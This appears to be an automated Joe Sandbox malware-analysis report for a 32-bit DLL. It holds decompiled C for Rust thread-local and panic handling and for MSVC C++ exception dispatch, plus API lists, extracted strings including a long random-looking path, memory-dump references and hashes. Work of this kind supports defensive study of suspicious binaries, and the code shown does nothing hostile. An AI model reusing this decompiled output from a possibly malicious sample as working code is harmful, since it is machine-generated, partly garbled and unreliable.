										_t285 =  *((intOrPtr*)(4 + _t285)) - 1;
										L105:
										_v20 = 3;
										L48:
										_v124 = 0x6e5a010c;
										_v120 = 4;
										_v72 = 0;
										_v88 = 0;
										_v92 = 0;
										_v116 = 0;
										_v20 = 3;
										_t323 =  !=  ? _t213 : "<unnamed>thread \'\' panicked at \'\', ";
										_t215 =  !=  ? _t285 : 9;
										_v80 =  !=  ? _t213 : "<unnamed>thread \'\' panicked at \'\', ";
										_t324 =  &_v124;
										_v76 =  !=  ? _t285 : 9;
										_v68 =  &_v80;
										_v64 = 0x6e55dca0;
										_v60 =  &_v100;
										_v56 = 0x6e55dca0;
										_v52 =  &_v148;
										_v48 = E6E55DCC0;
										_v108 =  &_v68;
										_v104 = 3;
										if(E6E55D0F0( &_v92, _t213) == 3) {
											_v20 = 7;
											_v40 = _t324;
											 *((intOrPtr*)( *((intOrPtr*)(_t324 + 4))))( *_t324);
											_t348 = _t348 + 4;
											_t343 = _v40;
											_t300 =  *((intOrPtr*)(_t343 + 4));
											if( *((intOrPtr*)(_t300 + 4)) != 0) {
												_t248 =  *_t343;
												if( *((intOrPtr*)(_t300 + 8)) >= 9) {
													_t248 =  *(_t248 - 4);
												}
												HeapFree( *0x6e5ae128, 0, _t248);
											}
											HeapFree( *0x6e5ae128, 0, _t343);
										}
										_t269 = _v128;
										_t222 =  <  ? (_t269 + 0x000000fd & 0x000000ff) + 1 : 0;
										if(_t222 == 0) {
											__imp__AcquireSRWLockExclusive(0x6e5ae10c);
											_v68 = 0x6e59fad0;
											_v64 = 1;
											_v152 = 0x6e5ae10c;
											_v41 = _t269;
											_v60 = 0;
											_v20 = 6;
											_v124 =  &_v41;
											_v120 = E6E55DD30;
											_v52 =  &_v124;
											_v48 = 1;
											_t225 = E6E55D0F0( &_v92, __eflags);
											_t341 =  &_v68;
											__imp__ReleaseSRWLockExclusive(0x6e5ae10c);
											__eflags = _t225 - 3;
											if(__eflags != 0) {
												goto L95;
											}
											_v20 = 5;
											_v40 = _t341;
											 *((intOrPtr*)( *((intOrPtr*)(_t341 + 4))))( *_t341);
											_t348 = _t348 + 4;
											goto L90;
										} else {
											if(_t222 == 1) {
												L95:
												_t372 = _v36;
												if(_t372 != 0) {
													asm("lock dec dword [eax]");
													if(_t372 == 0) {
														E6E55C640(_v84);
													}
												}
												_t342 = _v140;
												_t338 = _v136;
												_t373 = _v72;
												if(_t373 != 0) {
													asm("lock dec dword [eax]");
													if(_t373 == 0) {
														E6E55DA70(_v72);
													}
												}
												__imp__ReleaseSRWLockShared(0x6e5ae11c);
												_t374 = _v132 - 1;
												_v20 = 0xffffffff;
												if(_v132 > 1) {
													_v68 = 0x6e5a029c;
													_v64 = 1;
													_v60 = 0;
													_v52 = 0x6e59f570;
													_v76 = 0;
													_v80 = 0;
													_v48 = 0;
													_t229 = E6E55D0F0( &_v80, _t374);
													_v120 =  &_v68;
													_v124 = _t229;
													E6E55D2B0( &_v124);
													asm("ud2");
													asm("ud2");
												}
												_t285 = _t338;
												E6E55D290(_t285, _t342);
												asm("ud2");
												goto L104;
											}
											 *0x6e5ad040 = 0;
											_t368 =  *0x6e5ad040;
											if( *0x6e5ad040 == 0) {
												goto L95;
											}
											_t330 =  &_v68;
											_v68 = 0x6e5a017c;
											_v64 = 1;
											_v60 = 0;
											_v52 = 0x6e59f570;
											_v48 = 0;
											_v20 = 3;
											if(E6E55D0F0( &_v92, _t368) != 3) {
												goto L95;
											}
											_v40 = _t330;
											_v20 = 4;
											 *((intOrPtr*)( *((intOrPtr*)(_t330 + 4))))( *_t330);
											_t348 = _t348 + 4;
											L90:
											_t296 =  *((intOrPtr*)(_v40 + 4));
											if( *((intOrPtr*)(_t296 + 4)) != 0) {
												_t238 =  *_v40;
												if( *((intOrPtr*)(_t296 + 8)) >= 9) {
													_t238 =  *(_t238 - 4);
												}
												HeapFree( *0x6e5ae128, 0, _t238);
											}
											HeapFree( *0x6e5ae128, 0, _v40);
											goto L95;
										}
									}
									_t213 = 0;
									goto L105;
								}
								_t213 = 0;
								goto L48;
							}
						}
					}
				}
			}

0x6e55c6d7
0x6e55c6da
0x6e55c6de
0x6e55c6e5
0x6e55c6e6
0x6e55c6e8
0x6e55c6ed
0x6e55c6f0
0x6e55c6f2
0x6e55c6f3
0x6e55c6f4
0x6e55c6f5
0x6e55c6f6
0x6e55c6f7
0x6e55c6f8
0x6e55c6f9
0x6e55c6fa
0x6e55c6fb
0x6e55c6fc
0x6e55c6fd
0x6e55c6fe
0x6e55c6ff
0x6e55c706
0x6e55c70c
0x6e55c70f
0x6e55c716
0x6e55c71d
0x6e55c722
0x6e55c727
0x6e55c730
0x6e55c733
0x6e55c739
0x6e55c741
0x6e55c746
0x6e55c748
0x6e55c762
0x6e55c767
0x6e55c76a
0x6e55c76a
0x6e55c76e
0x6e55c771
0x6e55c774
0x6e55c776
0x6e55c7ea
0x6e55c7ed
0x6e55c84a
0x6e55c851
0x6e55c85b
0x6e55c862
0x6e55c869
0x6e55c86d
0x6e55c874
0x6e55c87b
0x6e55c881
0x6e55c884
0x6e55c887
0x6e55c88d
0x6e55c894
0x6e55c897
0x6e55c89e
0x6e55c8a3
0x6e55c8a5
0x6e55c8ac
0x6e55c8b4
0x6e55c8b7
0x6e55c8b9
0x6e55c8bc
0x6e55c8bc
0x6e55c8bf
0x6e55c8c2
0x6e55c8c6
0x6e55c8dc
0x6e55c8dc
0x6e55c8ea
0x6e55c8ea
0x00000000
0x6e55c8a5
0x6e55c7f2
0x6e55c7f5
0x6e55c7fc
0x6e55c803
0x6e55c80a
0x6e55c811
0x6e55c815
0x6e55c81c
0x6e55c823
0x6e55c828
0x6e55c82a
0x00000000
0x6e55c830
0x6e55c835
0x6e55c83d
0x6e55c840
0x6e55c842
0x00000000
0x6e55c842
0x6e55c77d
0x6e55c77d
0x6e55c785
0x6e55c78b
0x6e55c795
0x6e55c79c
0x6e55c7a3
0x6e55c7a9
0x6e55c7ac
0x6e55c7af
0x6e55c7b2
0x6e55c7b5
0x6e55c7ba
0x6e55c7bd
0x6e55c7bf
0x6e55c8f3
0x6e55c8f3
0x6e55c8f6
0x6e55c8f8
0x6e55c9cb
0x6e55c9d0
0x6e55c9d3
0x6e55c9d6
0x6e55cbd7
0x00000000
0x6e55cbd7
0x6e55c9dc
0x6e55c9df
0x6e55cbd0
0x00000000
0x6e55cbd0
0x6e55c9e5
0x6e55c9e7
0x00000000
0x00000000
0x6e55c9f0
0x6e55c9f5
0x6e55c9f8
0x6e55c9fb
0x6e55c9fd
0x00000000
0x00000000
0x6e55ca03
0x00000000
0x6e55ca03
0x6e55c8fe
0x00000000
0x6e55c7c5
0x6e55c7dd
0x6e55c7e2
0x6e55cbfe
0x6e55cbfe
0x6e55cc00
0x6e55cc00
0x6e55cc05
0x6e55c933
0x6e55c933
0x6e55c936
0x6e55c939
0x6e55c940
0x6e55c942
0x6e55c947
0x6e55c947
0x6e55c94d
0x6e55c956
0x6e55ca33
0x6e55ca33
0x6e55ca38
0x6e55ca3a
0x6e55ca3c
0x6e55ca41
0x6e55ca41
0x6e55ca47
0x6e55ca4d
0x6e55ca4f
0x6e55cc0f
0x6e55cc14
0x6e55cc16
0x6e55cc26
0x6e55cc2b
0x6e55cc30
0x6e55cc32
0x6e55cc72
0x6e55cc78
0x6e55cc7f
0x6e55cc81
0x6e55cc86
0x6e55cc88
0x6e55cc8f
0x6e55cc92
0x6e55cc97
0x6e55cc97
0x6e55cc9c
0x00000000
0x6e55cc9c
0x6e55cc34
0x6e55cc3e
0x6e55cc43
0x6e55cc45
0x6e55cc45
0x6e55cc48
0x6e55cc4b
0x6e55cc4e
0x6e55ccf8
0x6e55ccfe
0x6e55cd09
0x6e55cd09
0x6e55cd0e
0x6e55cd0e
0x6e55cd10
0x6e55cd10
0x6e55cd12
0x6e55cd1d
0x6e55cd1d
0x6e55cd22
0x6e55cd22
0x6e55cd2d
0x6e55cd35
0x6e55cd38
0x6e55cd3b
0x6e55cd3b
0x6e55cd3b
0x6e55c901
0x6e55c901
0x6e55c907
0x6e55c90a
0x6e55c90a
0x6e55c910
0x6e55c913
0x6e55c915
0x6e55c923
0x6e55c923
0x6e55c925
0x6e55ca0d
0x6e55ca10
0x6e55ca1e
0x6e55ca20
0x00000000
0x00000000
0x6e55ca26
0x6e55ca29
0x6e55ca2b
0x00000000
0x6e55ca2b
0x6e55c92b
0x6e55c92e
0x6e55c930
0x00000000
0x6e55c930
0x6e55cd00
0x6e55cd02
0x00000000
0x6e55cd02
0x6e55cc54
0x6e55cc57
0x00000000
0x00000000
0x6e55cc5d
0x6e55cc60
0x00000000
0x00000000
0x6e55cc66
0x6e55cc68
0x00000000
0x6e55cc68
0x6e55cc18
0x6e55cc1d
0x6e55cc1f
0x00000000
0x00000000
0x6e55cc21
0x00000000
0x6e55ca55
0x6e55ca55
0x6e55ca57
0x6e55ca5a
0x6e55cca2
0x6e55cca2
0x6e55cca5
0x6e55cca8
0x6e55cca8
0x6e55ccab
0x6e55ccb1
0x6e55ccb8
0x6e55ccbf
0x6e55ccc5
0x6e55ccc7
0x6e55cccd
0x6e55ccd0
0x6e55ccd6
0x6e55ccd6
0x6e55ccd0
0x6e55ccc7
0x00000000
0x6e55ccbf
0x6e55ca60
0x6e55ca67
0x6e55ca6e
0x6e55ca6e
0x00000000
0x6e55ca6e
0x6e55c95c
0x6e55c95f
0x6e55c961
0x00000000
0x00000000
0x6e55c967
0x6e55c96a
0x6e55c96d
0x6e55cbf6
0x6e55cbfb
0x00000000
0x6e55cbfb
0x6e55c973
0x6e55c979
0x6e55c97e
0x6e55c980
0x6e55c983
0x6e55c98a
0x6e55c98f
0x6e55c992
0x6e55c994
0x6e55c997
0x6e55c999
0x6e55c99b
0x6e55c99e
0x6e55c9a0
0x6e55c9a3
0x6e55c9a3
0x6e55c99e
0x6e55c9a8
0x6e55c9a8
0x6e55c9ab
0x6e55c9ae
0x6e55c8ef
0x6e55c8ef
0x6e55c8f1
0x00000000
0x6e55c9b4
0x6e55c9b4
0x6e55c9b8
0x6e55c9bb
0x6e55c9be
0x6e55cce0
0x6e55cce6
0x6e55cce8
0x6e55cce8
0x6e55cceb
0x6e55cea2
0x6e55cea2
0x6e55cea7
0x6e55cea8
0x6e55cea8
0x6e55ca70
0x6e55ca77
0x6e55ca7e
0x6e55ca85
0x6e55ca8c
0x6e55ca90
0x6e55ca97
0x6e55ca9e
0x6e55caa5
0x6e55caad
0x6e55cab0
0x6e55cab6
0x6e55cab9
0x6e55cabf
0x6e55cac5
0x6e55cacc
0x6e55cad5
0x6e55cadc
0x6e55cae2
0x6e55cae9
0x6e55caec
0x6e55cafa
0x6e55cb01
0x6e55cb09
0x6e55cb0c
0x6e55cb0e
0x6e55cb11
0x6e55cb14
0x6e55cb1b
0x6e55cb1d
0x6e55cb23
0x6e55cb25
0x6e55cb25
0x6e55cb31
0x6e55cb31
0x6e55cb3f
0x6e55cb3f
0x6e55cb44
0x6e55cb55
0x6e55cb5a
0x6e55cd4b
0x6e55cd5a
0x6e55cd61
0x6e55cd68
0x6e55cd72
0x6e55cd75
0x6e55cd7c
0x6e55cd83
0x6e55cd89
0x6e55cd90
0x6e55cd93
0x6e55cd9a
0x6e55cd9f
0x6e55cda8
0x6e55cdae
0x6e55cdb1
0x00000000
0x00000000
0x6e55cdb8
0x6e55cdc0
0x6e55cdc3
0x6e55cdc5
0x00000000
0x6e55cb60
0x6e55cb63
0x6e55ce00
0x6e55ce03
0x6e55ce05
0x6e55ce07
0x6e55ce0a
0x6e55ce0f
0x6e55ce0f
0x6e55ce0a
0x6e55ce17
0x6e55ce1d
0x6e55ce23
0x6e55ce25
0x6e55ce27
0x6e55ce2a
0x6e55ce2f
0x6e55ce2f
0x6e55ce2a
0x6e55ce39
0x6e55ce3f
0x6e55ce43
0x6e55ce4a
0x6e55ce52
0x6e55ce59
0x6e55ce60
0x6e55ce67
0x6e55ce6e
0x6e55ce72
0x6e55ce79
0x6e55ce80
0x6e55ce88
0x6e55ce8b
0x6e55ce8e
0x6e55ce93
0x6e55ce95
0x6e55ce95
0x6e55ce97
0x6e55ce9b
0x6e55cea0
0x00000000
0x6e55cea0
0x6e55cb6b
0x6e55cb71
0x6e55cb73
0x00000000
0x00000000
0x6e55cb7c
0x6e55cb7f
0x6e55cb86
0x6e55cb8d
0x6e55cb94
0x6e55cb9b
0x6e55cba2
0x6e55cbb0
0x00000000
0x00000000
0x6e55cbbb
0x6e55cbbe
0x6e55cbc6
0x6e55cbc8
0x6e55cdc8
0x6e55cdcb
0x6e55cdd2
0x6e55cddb
0x6e55cddd
0x6e55cddf
0x6e55cddf
0x6e55cdeb
0x6e55cdeb
0x6e55cdfb
0x00000000
0x6e55cdfb
0x6e55cb5a
0x6e55ccf1
0x00000000
0x6e55ccf1
0x6e55c9c4
0x00000000
0x6e55c9c4
0x6e55c9ae
0x6e55c956
0x6e55c7bf

APIs

Part of subcall function 6E55C700: AcquireSRWLockShared.KERNEL32(6E5AE11C), ref: 6E55C785

HeapFree.KERNEL32(00000000,00000000), ref: 6E55C8DC
HeapFree.KERNEL32(00000000,?), ref: 6E55C8EA
TlsGetValue.KERNEL32(00000000), ref: 6E55C94D
HeapFree.KERNEL32(00000000,00000000), ref: 6E55CB31
HeapFree.KERNEL32(00000000,?), ref: 6E55CB3F

Strings

Box<dyn Any><unnamed>thread '' panicked at '', , xrefs: 6E55CC00
cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa, xrefs: 6E55C74D, 6E55C7C8

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: FreeHeap$AcquireLockSharedValue
String ID: Box<dyn Any><unnamed>thread '' panicked at '', $cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa
API String ID: 942675266-716947571
Opcode ID: 231129a81e982888e5cdeb419d6dabac19fce788a951e84fabb0f47b524743b8
Instruction ID: 4f3b85b2059c0cac60d10a6c03143ee286f98a3eae579c5440ee1bb599292615
Opcode Fuzzy Hash: 231129a81e982888e5cdeb419d6dabac19fce788a951e84fabb0f47b524743b8
Instruction Fuzzy Hash: AF0238B09002198FDB10CFE8C894BAEBBF5FF49304F20851AD515AB390EB75A956CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6E56F6F6, Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 304
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 64%

			E6E56F6F6(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t202;
				signed int _t203;
				char _t204;
				signed int _t206;
				signed int _t208;
				signed char* _t209;
				signed int _t210;
				signed int _t211;
				signed int _t215;
				void* _t218;
				signed char* _t221;
				void* _t223;
				void* _t225;
				signed char _t229;
				signed int _t230;
				void* _t232;
				void* _t235;
				void* _t238;
				signed char _t245;
				signed int _t250;
				void* _t253;
				signed int* _t255;
				signed int _t256;
				intOrPtr _t257;
				signed int _t258;
				void* _t263;
				void* _t268;
				void* _t269;
				signed int _t273;
				signed char* _t274;
				intOrPtr* _t275;
				signed char _t276;
				signed int _t277;
				signed int _t278;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t298;
				signed int _t300;
				signed char* _t301;
				signed int _t302;
				signed int _t303;
				signed int* _t305;
				signed char* _t308;
				signed int _t318;
				signed int _t319;
				signed int _t321;
				signed int _t330;
				void* _t332;
				void* _t334;
				void* _t335;
				void* _t336;
				void* _t337;

				_t300 = __edx;
				_push(_t319);
				_t305 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t279 = E6E570658(_a8, _a16, _t305);
				_t335 = _t334 + 0xc;
				_v12 = _t279;
				if(_t279 < 0xffffffff || _t279 >= _t305[1]) {
					L66:
					_t202 = E6E571C23(_t274, _t279, _t300, _t305, _t319);
					asm("int3");
					_t332 = _t335;
					_t336 = _t335 - 0x38;
					_push(_t274);
					_t275 = _v112;
					__eflags =  *_t275 - 0x80000003;
					if( *_t275 == 0x80000003) {
						return _t202;
					} else {
						_push(_t319);
						_push(_t305);
						_t203 = E6E56F3B1(_t275, _t279, _t300, _t305, _t319);
						__eflags =  *(_t203 + 8);
						if( *(_t203 + 8) != 0) {
							__imp__EncodePointer(0);
							_t319 = _t203;
							_t223 = E6E56F3B1(_t275, _t279, _t300, 0, _t319);
							__eflags =  *((intOrPtr*)(_t223 + 8)) - _t319;
							if( *((intOrPtr*)(_t223 + 8)) != _t319) {
								__eflags =  *_t275 - 0xe0434f4d;
								if( *_t275 != 0xe0434f4d) {
									__eflags =  *_t275 - 0xe0434352;
									if( *_t275 != 0xe0434352) {
										_t215 = E6E56EBF7(_t300, 0, _t319, _t275, _a4, _a8, _a12, _a16, _a24, _a28);
										_t336 = _t336 + 0x1c;
										__eflags = _t215;
										if(_t215 != 0) {
											L83:
											return _t215;
										}
									}
								}
							}
						}
						_t204 = _a16;
						_v28 = _t204;
						_v24 = 0;
						__eflags =  *(_t204 + 0xc);
						if( *(_t204 + 0xc) > 0) {
							_push(_a24);
							E6E56EB2A(_t275, _t279, 0, _t319,  &_v44,  &_v28, _a20, _a12, _t204);
							_t302 = _v40;
							_t337 = _t336 + 0x18;
							_t215 = _v44;
							_v20 = _t215;
							_v12 = _t302;
							__eflags = _t302 - _v32;
							if(_t302 >= _v32) {
								goto L83;
							}
							_t281 = _t302 * 0x14;
							__eflags = _t281;
							_v16 = _t281;
							do {
								_t282 = 5;
								_t218 = memcpy( &_v64,  *((intOrPtr*)( *_t215 + 0x10)) + _t281, _t282 << 2);
								_t337 = _t337 + 0xc;
								__eflags = _v64 - _t218;
								if(_v64 > _t218) {
									goto L82;
								}
								__eflags = _t218 - _v60;
								if(_t218 > _v60) {
									goto L82;
								}
								_t221 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t287 = _t221[4];
								__eflags = _t287;
								if(_t287 == 0) {
									L80:
									__eflags =  *_t221 & 0x00000040;
									if(( *_t221 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E6E56F676(_t302, _t275, _a4, _a8, _a12, _a16, _t221, 0,  &_v64, _a24, _a28);
										_t302 = _v12;
										_t337 = _t337 + 0x30;
									}
									goto L82;
								}
								__eflags =  *((char*)(_t287 + 8));
								if( *((char*)(_t287 + 8)) != 0) {
									goto L82;
								}
								goto L80;
								L82:
								_t302 = _t302 + 1;
								_t215 = _v20;
								_t281 = _v16 + 0x14;
								_v12 = _t302;
								_v16 = _t281;
								__eflags = _t302 - _v32;
							} while (_t302 < _v32);
							goto L83;
						}
						E6E571C23(_t275, _t279, _t300, 0, _t319);
						asm("int3");
						_push(_t332);
						_t301 = _v184;
						_push(_t275);
						_push(_t319);
						_push(0);
						_t206 = _t301[4];
						__eflags = _t206;
						if(_t206 == 0) {
							L108:
							_t208 = 1;
							__eflags = 1;
						} else {
							_t280 = _t206 + 8;
							__eflags =  *_t280;
							if( *_t280 == 0) {
								goto L108;
							} else {
								__eflags =  *_t301 & 0x00000080;
								_t308 = _v0;
								if(( *_t301 & 0x00000080) == 0) {
									L90:
									_t276 = _t308[4];
									_t321 = 0;
									__eflags = _t206 - _t276;
									if(_t206 == _t276) {
										L100:
										__eflags =  *_t308 & 0x00000002;
										if(( *_t308 & 0x00000002) == 0) {
											L102:
											_t209 = _a4;
											__eflags =  *_t209 & 0x00000001;
											if(( *_t209 & 0x00000001) == 0) {
												L104:
												__eflags =  *_t209 & 0x00000002;
												if(( *_t209 & 0x00000002) == 0) {
													L106:
													_t321 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t301 & 0x00000002;
													if(( *_t301 & 0x00000002) != 0) {
														goto L106;
													}
												}
											} else {
												__eflags =  *_t301 & 0x00000001;
												if(( *_t301 & 0x00000001) != 0) {
													goto L104;
												}
											}
										} else {
											__eflags =  *_t301 & 0x00000008;
											if(( *_t301 & 0x00000008) != 0) {
												goto L102;
											}
										}
										_t208 = _t321;
									} else {
										_t185 = _t276 + 8; // 0x6e
										_t210 = _t185;
										while(1) {
											_t277 =  *_t280;
											__eflags = _t277 -  *_t210;
											if(_t277 !=  *_t210) {
												break;
											}
											__eflags = _t277;
											if(_t277 == 0) {
												L96:
												_t211 = _t321;
											} else {
												_t278 =  *((intOrPtr*)(_t280 + 1));
												__eflags = _t278 -  *((intOrPtr*)(_t210 + 1));
												if(_t278 !=  *((intOrPtr*)(_t210 + 1))) {
													break;
												} else {
													_t280 = _t280 + 2;
													_t210 = _t210 + 2;
													__eflags = _t278;
													if(_t278 != 0) {
														continue;
													} else {
														goto L96;
													}
												}
											}
											L98:
											__eflags = _t211;
											if(_t211 == 0) {
												goto L100;
											} else {
												_t208 = 0;
											}
											goto L109;
										}
										asm("sbb eax, eax");
										_t211 = _t210 | 0x00000001;
										__eflags = _t211;
										goto L98;
									}
								} else {
									__eflags =  *_t308 & 0x00000010;
									if(( *_t308 & 0x00000010) != 0) {
										goto L108;
									} else {
										goto L90;
									}
								}
							}
						}
						L109:
						return _t208;
					}
				} else {
					_t274 = _a4;
					if( *_t274 != 0xe06d7363 || _t274[0x10] != 3 || _t274[0x14] != 0x19930520 && _t274[0x14] != 0x19930521 && _t274[0x14] != 0x19930522) {
						L22:
						_t300 = _a12;
						_v8 = _t300;
						goto L24;
					} else {
						_t319 = 0;
						if(_t274[0x1c] != 0) {
							goto L22;
						} else {
							_t225 = E6E56F3B1(_t274, _t279, _t300, _t305, 0);
							if( *((intOrPtr*)(_t225 + 0x10)) == 0) {
								L60:
								return _t225;
							} else {
								_t274 =  *(E6E56F3B1(_t274, _t279, _t300, _t305, 0) + 0x10);
								_t263 = E6E56F3B1(_t274, _t279, _t300, _t305, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t263 + 0x14));
								if(_t274 == 0 ||  *_t274 == 0xe06d7363 && _t274[0x10] == 3 && (_t274[0x14] == 0x19930520 || _t274[0x14] == 0x19930521 || _t274[0x14] == 0x19930522) && _t274[0x1c] == _t319) {
									goto L66;
								} else {
									if( *((intOrPtr*)(E6E56F3B1(_t274, _t279, _t300, _t305, _t319) + 0x1c)) == _t319) {
										L23:
										_t300 = _v8;
										_t279 = _v12;
										L24:
										_v52 = _t305;
										_v48 = 0;
										__eflags =  *_t274 - 0xe06d7363;
										if( *_t274 != 0xe06d7363) {
											L56:
											__eflags = _t305[3];
											if(_t305[3] <= 0) {
												goto L59;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L66;
												} else {
													_push(_a32);
													_push(_a28);
													_push(_t279);
													_push(_t305);
													_push(_a16);
													_push(_t300);
													_push(_a8);
													_push(_t274);
													L67();
													_t335 = _t335 + 0x20;
													goto L59;
												}
											}
										} else {
											__eflags = _t274[0x10] - 3;
											if(_t274[0x10] != 3) {
												goto L56;
											} else {
												__eflags = _t274[0x14] - 0x19930520;
												if(_t274[0x14] == 0x19930520) {
													L29:
													_t319 = _a32;
													__eflags = _t305[3];
													if(_t305[3] > 0) {
														_push(_a28);
														E6E56EB2A(_t274, _t279, _t305, _t319,  &_v68,  &_v52, _t279, _a16, _t305);
														_t300 = _v64;
														_t335 = _t335 + 0x18;
														_t250 = _v68;
														_v44 = _t250;
														_v16 = _t300;
														__eflags = _t300 - _v56;
														if(_t300 < _v56) {
															_t294 = _t300 * 0x14;
															__eflags = _t294;
															_v32 = _t294;
															do {
																_t295 = 5;
																_t253 = memcpy( &_v104,  *((intOrPtr*)( *_t250 + 0x10)) + _t294, _t295 << 2);
																_t335 = _t335 + 0xc;
																__eflags = _v104 - _t253;
																if(_v104 <= _t253) {
																	__eflags = _t253 - _v100;
																	if(_t253 <= _v100) {
																		_t298 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t255 =  *(_t274[0x1c] + 0xc);
																			_t303 =  *_t255;
																			_t256 =  &(_t255[1]);
																			__eflags = _t256;
																			_v36 = _t256;
																			_t257 = _v88;
																			_v40 = _t303;
																			_v24 = _t257;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t318 = _v36;
																				_t330 = _t303;
																				__eflags = _t330;
																				if(_t330 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_push(_t274[0x1c]);
																						_t258 =  &_v84;
																						_push( *_t318);
																						_push(_t258);
																						L86();
																						_t335 = _t335 + 0xc;
																						__eflags = _t258;
																						if(_t258 != 0) {
																							break;
																						}
																						_t330 = _t330 - 1;
																						_t318 = _t318 + 4;
																						__eflags = _t330;
																						if(_t330 > 0) {
																							continue;
																						} else {
																							_t298 = _v20;
																							_t257 = _v24;
																							_t303 = _v40;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					E6E56F676(_t303, _t274, _a8, _v8, _a16, _a20,  &_v84,  *_t318,  &_v104, _a28, _a32);
																					_t335 = _t335 + 0x30;
																				}
																				L43:
																				_t300 = _v16;
																				goto L44;
																				L40:
																				_t298 = _t298 + 1;
																				_t257 = _t257 + 0x10;
																				_v20 = _t298;
																				_v24 = _t257;
																				__eflags = _t298 - _v92;
																			} while (_t298 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t300 = _t300 + 1;
																_t250 = _v44;
																_t294 = _v32 + 0x14;
																_v16 = _t300;
																_v32 = _t294;
																__eflags = _t300 - _v56;
															} while (_t300 < _v56);
															_t305 = _a20;
															_t319 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push(1);
														E6E56F131(_t274, _t305, _t319, __eflags);
														_t279 = _t274;
													}
													__eflags = ( *_t305 & 0x1fffffff) - 0x19930521;
													if(( *_t305 & 0x1fffffff) < 0x19930521) {
														L59:
														_t225 = E6E56F3B1(_t274, _t279, _t300, _t305, _t319);
														__eflags =  *(_t225 + 0x1c);
														if( *(_t225 + 0x1c) != 0) {
															goto L66;
														} else {
															goto L60;
														}
													} else {
														__eflags = _t305[7];
														if(_t305[7] != 0) {
															L52:
															_t229 = _t305[8] >> 2;
															__eflags = _t229 & 0x00000001;
															if((_t229 & 0x00000001) == 0) {
																_push(_t305[7]);
																_t230 = E6E570105(_t274, _t305, _t319, _t274);
																_pop(_t279);
																__eflags = _t230;
																if(_t230 == 0) {
																	goto L63;
																} else {
																	goto L59;
																}
															} else {
																 *(E6E56F3B1(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
																_t238 = E6E56F3B1(_t274, _t279, _t300, _t305, _t319);
																_t290 = _v8;
																 *((intOrPtr*)(_t238 + 0x14)) = _v8;
																goto L61;
															}
														} else {
															_t245 = _t305[8] >> 2;
															__eflags = _t245 & 0x00000001;
															if((_t245 & 0x00000001) == 0) {
																goto L59;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L59;
																} else {
																	goto L52;
																}
															}
														}
													}
												} else {
													__eflags = _t274[0x14] - 0x19930521;
													if(_t274[0x14] == 0x19930521) {
														goto L29;
													} else {
														__eflags = _t274[0x14] - 0x19930522;
														if(_t274[0x14] != 0x19930522) {
															goto L56;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E6E56F3B1(_t274, _t279, _t300, _t305, _t319) + 0x1c));
										_t268 = E6E56F3B1(_t274, _t279, _t300, _t305, _t319);
										_push(_v16);
										 *(_t268 + 0x1c) = _t319;
										_t269 = E6E570105(_t274, _t305, _t319, _t274);
										_pop(_t290);
										if(_t269 != 0) {
											goto L23;
										} else {
											_t305 = _v16;
											_t356 =  *_t305 - _t319;
											if( *_t305 <= _t319) {
												L61:
												E6E571BCC(_t274, _t290, _t300, _t305, _t319, __eflags);
											} else {
												while(1) {
													_t290 =  *((intOrPtr*)(_t319 + _t305[1] + 4));
													if(E6E56FD99( *((intOrPtr*)(_t319 + _t305[1] + 4)), _t356, ?str?) != 0) {
														goto L62;
													}
													_t319 = _t319 + 0x10;
													_t273 = _v20 + 1;
													_v20 = _t273;
													_t356 = _t273 -  *_t305;
													if(_t273 >=  *_t305) {
														goto L61;
													} else {
														continue;
													}
													goto L62;
												}
											}
											L62:
											_push(1);
											_push(_t274);
											E6E56F131(_t274, _t305, _t319, __eflags);
											_t279 =  &_v64;
